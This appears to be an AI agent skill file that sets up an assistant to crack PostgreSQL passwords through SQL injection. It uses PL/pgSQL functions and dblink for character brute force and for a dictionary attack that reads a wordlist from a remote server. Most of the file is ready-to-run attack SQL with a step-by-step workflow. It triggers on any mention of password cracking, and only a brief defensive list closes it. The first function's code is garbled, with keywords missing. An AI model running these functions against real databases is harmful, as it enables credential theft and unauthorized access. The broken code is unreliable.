postgresql-password-bruteforce

name

postgresql-password-bruteforce

description

PostgreSQL PL/pgSQL password bruteforce attack for security testing. Use this skill when you have SQL injection access to a PostgreSQL database and want to test password security. Trigger when the user mentions PostgreSQL brute force, password cracking, SQL injection exploitation, or testing database authentication. This skill helps create PL/pgSQL functions that attempt to brute force database credentials using the dblink extension.

PostgreSQL PL/pgSQL Password Bruteforce

This skill enables password bruteforce attacks against PostgreSQL databases when you have SQL injection access and the PL/pgSQL language is available.

Prerequisites

Before attempting this attack, verify the following conditions:

1. PL/pgSQL Language Available

Check if PL/pgSQL is installed and accessible:

SELECT lanname, lanacl FROM pg_language WHERE lanname = 'plpgsql';

Expected output (vulnerable):

 lanname | lanacl
---------+---------
 plpgsql |

Expected output (protected):

 lanname | lanacl
---------+-----------------
 plpgsql | {admin=U/admin}

If lanacl is empty, the language is available to PUBLIC. If it shows restrictions, the attack may not work.

2. DBLink Extension

The dblink function must exist. Check and create if needed:

-- Check if dblink exists
SELECT * FROM pg_extension WHERE extname = 'dblink';

-- Create if missing
CREATE EXTENSION dblink;

Attack Methods

Method 1: Character Brute Force

This method brute forces passwords character by character. The example below targets 4-character passwords using ASCII codes 65-122 (uppercase, lowercase, and some symbols).

Generate the function:

CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
                                username TEXT, dbname TEXT) RETURNS TEXT AS
$$
DECLARE
    word TEXT;
BEGIN
    FOR a IN 65..122 LOOP
        FOR b IN 65..122 LOOP
            FOR c IN 65..122 LOOP
                FOR d IN 65..122 LOOP
                    BEGIN
                        word := chr(a) || chr(b) || chr(c) || chr(d);
                        PERFORM(SELECT * FROM dblink(' host=' || host ||
                                                    ' port=' || port ||
                                                    ' dbname=' || dbname ||
                                                    ' user=' || username ||
                                                    ' password=' || word,
                                                    'SELECT 1')
                                                    RETURNS (i INT));
                         word;
                        EXCEPTION
                             sqlclient_unable_to_establish_sqlconnection
                                
                                    
                    ;
                 LOOP;
             LOOP;
         LOOP;
     LOOP;
     ;
;
$$  ;

Execute the attack:

SELECT brute_force('127.0.0.1', '5432', 'postgres', 'postgres');

Important notes:

• Even 4-character brute force may take several minutes
• The function returns the first password that successfully connects
• Adjust the ASCII range (65..122) to target different character sets
• For longer passwords, add more nested loops (but expect exponential time increase)

Method 2: Dictionary Attack

This method uses a wordlist for more efficient password testing. Requires a wordlist database accessible via dblink.

Generate the function:

CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
                                username TEXT, dbname TEXT) RETURNS TEXT AS
$$
BEGIN
    FOR word IN (SELECT word FROM dblink('host=1.2.3.4
                                            user=name
                                            password=qwerty
                                            dbname=wordlists',
                                            'SELECT word FROM wordlist')
                                        RETURNS (word TEXT)) LOOP
        BEGIN
            PERFORM(SELECT * FROM dblink(' host=' || host ||
                                            ' port=' || port ||
                                            ' dbname=' || dbname ||
                                            ' user=' || username ||
                                            ' password=' || word,
                                            'SELECT 1')
                                        RETURNS (i INT));
            RETURN word;

            EXCEPTION
                WHEN sqlclient_unable_to_establish_sqlconnection THEN
                    -- do nothing
        END;
    END LOOP;
    RETURN NULL;
;
$$  ;

Execute the attack:

SELECT brute_force('127.0.0.1', '5432', 'postgres', 'postgres');

Important notes:

• Requires a wordlist database accessible via dblink
• Much faster than character brute force for common passwords
• The wordlist database connection string must be valid
• Customize the wordlist query based on your wordlist schema

Usage Workflow

1. Verify prerequisites - Check PL/pgSQL and dblink availability
2. Choose attack method - Character brute force for unknown passwords, dictionary for common passwords
3. Generate the function - Use the appropriate SQL template
4. Execute the attack - Call the function with target parameters
5. Handle the result - The function returns the cracked password or NULL

Limitations and Considerations

• Time complexity: Character brute force is O(n^4) for 4 characters, O(n^5) for 5, etc.
• Network latency: Each password attempt requires a network connection
• Rate limiting: Database may have connection limits or rate limiting
• Detection: Multiple failed login attempts may trigger security alerts
• Privileges: Requires ability to create functions (PUBLIC privilege by default)

Defensive Recommendations

If you're testing your own systems, consider these mitigations:

1. Revoke PL/pgSQL from PUBLIC:

   REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
   

2. Disable dblink extension if not needed

3. Implement connection rate limiting

4. Use strong, complex passwords

5. Monitor for unusual connection patterns

References

• Original Research Paper
• PostgreSQL PL/pgSQL Documentation
• PostgreSQL DBLink Extension Documentation